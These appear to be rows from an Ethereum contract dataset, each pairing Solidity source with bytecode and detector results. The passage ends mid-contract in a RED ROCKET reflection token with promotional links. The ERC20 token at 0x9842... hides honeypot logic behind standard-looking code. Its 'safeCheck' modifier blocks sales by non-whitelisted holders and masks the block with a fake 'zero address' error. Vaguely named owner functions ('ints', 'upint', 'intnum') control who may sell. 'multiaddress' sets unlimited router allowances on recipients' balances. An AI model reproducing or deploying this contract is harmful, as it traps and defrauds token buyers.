8301126116d457600080fd5b8135818111156116e6576116e661167f565b8060051b604051601f19603f8301168101818110858211171561170b5761170b61167f565b60405291825284820192508381018501918883111561172957600080fd5b938501935b8285101561174e5761173f856115ba565b8452938501939285019261172e565b98975050505050505050565b6000806040838503121561176d57600080fd5b8235611778816115a5565b91506020830135611788816115a5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611808576118086117de565b5060010190565b60006020828403121561182157600080fd5b8151610f62816115a5565b60008060006060848603121561184157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561186c57600080fd5b8151610f6281611654565b6000821982111561188a5761188a6117de565b500190565b6000828210156118a1576118a16117de565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118f65784516001600160a01b0316835293830193918301916001016118d1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261193457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611953576119536117de565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208cf91b5910da70cd1090bd669fbd00a7ac1464cd254ed8352ad0c36ea6b8092c64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,528 |
0x9842beccbf4fb4fd9b44414f85602a2a900fc4a7 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_CRWNY(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220dc195b8cceb44c3c1f80589822351e46273e19b27c6219a79e6cc41c960d7b7964736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 10,529 |
0xc3d1B0e547895e911d1064705fb73dA0B0e934ED | /**
*Submitted for verification at Etherscan.io on 2021-07-08
*/
/**
*
RED ROCKET ==> $REDR is going to launch in the uniswap at anytime you make!
📱 https://t.me/RED_R0cket
🦜 https://twitter.com/REDR_ocket
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract REDRocket is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "RED ROCKET";
string private constant _symbol = "REDR";
uint8 private constant _decimals = 2;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 8;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if (from != address(this)) {
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
